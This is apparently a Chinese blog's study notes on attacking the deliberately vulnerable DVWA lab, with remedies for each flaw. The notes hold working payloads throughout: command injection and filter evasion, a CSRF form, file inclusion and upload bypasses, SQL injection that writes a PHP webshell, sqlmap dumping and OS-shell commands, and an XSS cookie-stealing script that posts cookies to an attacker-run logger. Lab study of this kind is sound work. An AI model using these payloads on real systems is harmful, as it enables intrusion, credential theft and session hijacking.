您的位置:首页 > 其它

[笔记]渗透测试基础 - DVWA1.9

2017-11-02 23:12 218 查看

暴力破解(Brute Force)

演练

low/medium:burpsuite方法重放穷举

high:python脚本构造数据包过token

impossible: noway

命令注入(Command injection)

命令注入流程

1.是否调用命令?

2.函数或函数的参数是否可控

3.是否拼接注入命令

演练

low: 127.0.0.1&&net user

medium: 127.0.0.1&net user

high:127.0.0.1 | net user

impossible: noway

小结

A&B 简单的拼接,AB之间无制约关系

A&&B A执行成功才会执行B

A|B A的输出作为B的输入

A||B A执行失败才会执行B

扩展

如果过滤了敏感命令,有如下技巧

whoami
who""ami
who""am""i


如果不显示输出结果

1.延时注入
Windows: ping 127.0.0.1 -n 5 > nul
Linux:   sleep 5
2.远程请求
Windows: ping, telnet等
Linux: wget, curl, nslookup等


CSRF(Cross-site request forgery)

演练

low:

构造
csrf.html
文件如下,Client只要执行此页面,则密码会被修改。

注:为了显示效果写了一个按钮,hacker一般会写在脚本里。

<html>
<body>
<form action="http://192.168.28.128/dvwa/vulnerabilities/csrf/">
<input type="hidden" name="password_new" value="hacker" />
<input type="hidden" name="password_conf" value="hacker" />
<input type="hidden" name="Change" value="Change" />
<input type="submit" value="Click Me" />
</form>
</body>
</html>


medium:

增加了referer验证。

两种方式绕过:

1.只要修改referer为
http://ip/dvwa/vulnerabilities/csrf/
即可。

2.深入研究发现,只要referer中包含请求ip即可,则将前面
csrf.html
放入目录名为该ip的目录下即可。

high:

增加了user_token,除非和XSS漏洞配合使用,别无他法。

漏洞修复

可增加
旧密码
来验证。

文件包含(File Inclusion)

演练

low:

远程文件执行:可直接执行代码。
http://192.168.28.128/dvwa/vulnerabilities/fi/?page=http://192.168.28.128/phpinfo.txt


以下是php代码:

<?php
phpinfo();
?>


medium:

本地方法读取: low方法失效,服务端过滤了
../
字符,但是还可以使用
..\
的方式来 继续本地读取。

远程文件执行由于
http://
被过滤,所以构造
httphttp://://192.168.28.128/phpinfo.txt


high:

本地方法读取:进一步研究发现,file字符并未被过滤,可使用
file协议


file协议:文件传输协议,访问本地计算机中的文件


所以构造:
http://192.168.28.128/dvwa/vulnerabilities/fi/

?page=file:///C:/window/win.ini
即可。

**远程文件执行:**file字符串并未被过滤,可结合文件上传漏洞来使用。

漏洞修复

可采取白名单的方式来防止绕过。

文件上传(File Upload)

演练

low:文件上传无限制,直接上传即可。

medium:

抓包分析,发现
Content-Type:
类型被限制,则抓包改为image/jpeg,成功绕过

high:

文件包含漏洞:尝试了
php后缀名php内容
php后缀名img内容
img后缀名和php内容
这三种都失败。可以制作
内涵图
进行绕过。

//windows的cmd下
copy 1.jpg/b+1.txt/a 2.jpg
//生成了2.jpg


成功上传2.jpg

**nginx解析漏洞:**nginx环境,配置
php.ini
下的
cgi.fix_pathinfo=1
这样即存在畸形解析。则
2.jpg/2.php
成功执行。

impossible:

原理:文件重命名,文件压缩重生成,存储目录执行权限,存储目录与Web分离。

漏洞修复

阻止非法文件上传。文件后缀名白名单,文件类型校验,文件内容头部的判断。

SQL注入(SQL Injection)

分析

low:探测是否存在漏洞,输入
1'
–>错误回显,证明存在SQL注入漏洞。

以下是三种POC

...where user_id = $id  ==>  ...where user_id = 1 or 1024=1024
...where user_id = '$id'  ==>  ...where user_id = '1' or '1024'='1024'
...where user_id = "$id"  ==>  ...where user_id = "1" or "1024"="1024"


确定注入POC

1 or 1024=1024
1' or '1024'='1024


medium:

与low不同的地方:页面变化,POST提交,尝试用TamperData改包来注入,发现会将单引号
'
转义,可以使用hex编码来绕过。

确定注入POC

1" or "1024"="1024
1' or '1024'='1024
1 or 1024=1024


high:

手动注入方式与low相同,区别是注入点和返回点不同。在sqlmap自动化注入中需要加
--second-order
参数后加返回点地址。

演练

low:

//1.用order by确定查询字段数(二分法)
1' order by 5-- 错误 ==> 1<=字段数<10
1' order by 3-- 错误 ==> 1<=字段数<5
1' order by 2-- 正确 ==> 1<=字段数<3
最终确定 ==> 字段数=2
//2.确定回显点
?id=xx'+union+select+1,2--+
//3.查询数据库信息
?id=xx'+union+select+@@version,@@datadir--+
//4.查询用户名和数据库名
?id=xx'+union+select+user(),+database()--+
//5.查询表名
?id=xx'+union+select+1,table_name+from+information_schema.tables+where+table_schema='dvwa'--+
//6.查询列名(字段名)
?id=xx'+union+select+1,column_name+from+information_schema.columns+where+table_name='users'--+
//7.查询用户名和密码
?id=xx'+union+select+user,password+from+users--+
//8.拓展-文件读取
?id=xx'+union+select+1,load_file('c:\\windows\\win.ini')--+
//9.拓展-爆物理路径
?id=xx'+union+select+"xx","xx"+into+outfile+'xx'--+
//10.拓展-写Webshell
?id=xx'+union+select+"<?php+@eval($_GET['cmd']);?>","webshell"+into+outfile+'C:\\xampp\\htdocs\\dvwa\\cmd.php'--+


medium:

//1.数字型注入
1 union select user,password from sers--
//2.查列名
1 union select 1,table_name from information_schema.tables where table_schema='dvwa'--
失败,因为'会被转义。
1 union select 1,table_name from information_schema.tables where table_schema=0x64767761--


扩展

三种MySQL注释符

#忽略
--忽略
/*忽略*/
单行注释单行注释多行注释
注意与url中#区分注意是短线短线空格至少有两处输入
常编码成%23/**/注入中常用来作为空格
low:sqlmap自动化注入

//1.攻击url
sqlmap.py -u "http://192.168.28.128/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#"
//2.攻击参数 -p
sqlmap.py -u "http://192.168.28.128/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" -p "id"
//3.登录状态 --cookie
sqlmap.py -u "http://192.168.28.128/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" -p "id" --cookie "PHPSESSID=8h0n5vqi4p9qs9bv3ebncanpe3; security=low;"
//4.当前用户和数据库名 --cu  rrent-user --current-db
sqlmap.py -u "http://192.168.28.128/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" -p "id" --cookie "PHPSESSID=8h0n5vqi4p9qs9bv3ebncanpe3; security=low;" --cu rrent-user --current-db
//5.表名
sqlmap.py -u "http://192.168.28.128/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" -p "id" --cookie "PHPSESSID=8h0n5vqi4p9qs9bv3ebncanpe3; security=low;" -D dvwa --tables
//6.列名(字段名)
sqlmap.py -u "http://192.168.28.128/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" -p "id" --cookie "PHPSESSID=8h0n5vqi4p9qs9bv3ebncanpe3; security=low;" -D dvwa -T users --columns
//7.用户名和密码
sqlmap.py -u "http://192.168.28.128/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" -p "id" --cookie "PHPSESSID=8h0n5vqi4p9qs9bv3ebncanpe3; security=low;" -D dvwa -T users -C "user,password" --dump
//8.获取Webshell
sqlmap.py -u "http://192.168.28.128/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" -p "id" --cookie "PHPSESSID=8h0n5vqi4p9qs9bv3ebncanpe3; security=low;" -D dvwa -T users -C "user,password" --os-shell


medium:sqlmap自动化注入

sqlmap.py -u "http://192.168.28.128/dvwa/vulnerabilities/sqli/" --data "id=1&Submit=Submit" -p "id" --cookie "PHPSESSID=8h0n5vqi4p9qs9bv3ebncanpe3; security=medium;"
//后续步骤如上。


high:sqlmap自动化注入

sqlmap.py -u "http://192.168.28.128/dvwa/vulnerabilities/sqli/session-input.php" --data "id=1&Submit=Submit" -p "id" --cookie "PHPSESSID=8h0n5vqi4p9qs9bv3ebncanpe3; security=high;" --second-order "http://192.168.28.128/dvwa/vulnerabilities/sqli/"


漏洞修复

参考dvwa的Impossible等级的处理方式,其php代码检测了id数据类型,使用了预编译绑定id变量,有效地防止了SQL注入。

除了预编译,还可以使用存储过程。

SQL盲注(SQL Injection(Blind))

分析

low:

三种注入POC

...where user_id = $id  ⇒  ...where user_id = 1 and 1024=1025
...where user_id = '$id'  ⇒ ...where user_id = '1' and '1024'='1025'
...where user_id = "$id"  ⇒ ...where user_id = "1" and "1024"="1025"


确定注入POC

1 and 1024=1025
1' and '1024'='1025  ⇒  推断出这种方式存在sql盲注漏洞
1" and "1024"="1025


盲注思路

1' and 真 --
1' and 假 --


演练

low:

布尔型

//1.确定字符串长度--利用length()函数,二分法
?id=1'+and+length(database())>1+--+  ⇒ 真
?id=1'+and+length(database())>10+--+  ⇒ 假 ⇒ 说明长度小于10
//2.可利用substr(),ascii()函数确定字符串内容


延时型

//1.方式一
?id=1'+and+sleep(if(length(database())=4,5,0))--+
//2.方式二,利用benchmark()函数
?id=1'+and+benchmark(if(length(database())=4,5000000,0), md5('test'));--+


medium:和low差不多

high:将id后参数放入cookie中。

sqlmap自动化注入

low/medium:

//1.攻击参数 -p
sqlmap.py -u "http://192.168.28.128/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" -p "id"
//2.登录状态 --cookie
sqlmap.py -u "http://192.168.28.128/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" -p "id" --cookie "PHPSESSID=8h0n5vqi4p9qs9bv3ebncanpe3; security=low;"
//3.获取数据库名
//4.输出详细的信息 -v 1-6(1表示输出最少,6表示输出最多)
sqlmap.py -u "http://192.168.28.128/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" -p "id" --cookie "PHPSESSID=8h0n5vqi4p9qs9bv3ebncanpe3; security=low;"  --current-db -v 3


high:

//1.由于注入参数放入了cookie中,所以用sqlmap的 --level2参数
sqlmap.py -u "http://192.168.183.128/vulnerabilities/sqli_blind/" -p "id" --cookie "PHPSESSID=0859oonlsod3pcb7v25jf1h6l7; security=high; " --level 2


拓展:SQL函数

length(str); – 获取字符串长度(字符串)

substr(expression, start, length); – 获取子字符串(原始字符串,子串开始位置,字串长度)

ascii(string); – 获取第一个字符的ASCII值(字符串)

if(expr1, expr2, expr3); – 如果expr1为真,返回expr2,否则返回expr3

sleep(N); – 休眠(N秒)

benchmark(count, expr); – 重复计算(次数为count, 表达式)

cast(expression as data_type); – 数据类型转换(表达式as新的数据类型)

ifnull(expr1, expr2); – 如果expr1是null,返回expr2,否则返回本身

mid(expression, start, length); – 获取子字符串(原始字符串,子串开始位置,字串长度)

ord(string); – 获取第一个字符串的ASCII数值(字符串)

漏洞修复

参考impossible源码,发现检测了id数据类型,使用了预编译绑定id变量,有效得防止了SQL注入。

参数化SQL语句,数据类型检测,用户输入过滤。

XSS(Cross-site scripting)

概述

XSS是客户端代码注入,通常注入代码是JavaScript区别于命令注入,SQL注入等服务端代码注入。

存储型XSS反射型XSSDOM型XSS
攻击代码在数据库里,输出在HTTP响应中攻击代码在url里,输出在HTTP响应中攻击代码在url里,输出在DOM节点中

反射型

low:在输入框里输入
<script>alert(xss);</script>
,成功弹窗,说明插入xss代码成功。

//1.攻击者Web ⇒ http://192.168.28.128/cookie.php <?php
$cookie = $_GET['cookie'];
file_put_contents('cookie.txt',$cookie);
?>
//2.攻击js
<script>document.location='http://192.168.28.128/cookie.php?cookie='+document.cookie;</script>
//3.构造攻击url http://192.168.183.128/dvwa/vulnerabilities/xss_r/ ?name=<script>document.location='http://192.168.28.128/cookie.php?cookie='+document.cookie;</script>
//4.对url进行编码URLencode http://192.168.183.128/dvwa/vulnerabilities/xss_r/ ?name=%3Cscript%3Edocument.location%3D%27http%3A%2f%2f192.168.28.128%2fcookie.php%3Fcookie%3D%27%2bdocument.cookie%3B%3C%2fscript%3E
//5.获得cookie ⇒ http://192.168.28.128/cookie.txt //6.利用firebug修改利用cookie,劫持登录。
打开对应的网页,修改cookie,直接进入index.php即可。


medium等级:

发现过滤了
<scirpt>
标签,同上构造注入的方法,可以用的方法如下:

1.嵌套 ⇒
<scr<script>ipt>


2.大小写混合 ⇒
<ScRiPt>


high等级:

发现嵌套和大小写混合都失效,换一种思路,能够执行js脚本的标签并不止是script标签那么,有以下几种:

1.构造img标签 ⇒
<img src=x onerror=alert(1)>


2.iframe标签 ⇒
<iframe onload=alert(1)>


存储型

前端查看,限制了输入的长度,可以用tamperdata直接绕过。

low/medium/high与反射型类似。

拓展

JavaScript弹窗函数

alert();

confirm();

prompt();

漏洞修复

采用白名单的方式。

输出过滤:html编码,js转义。
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息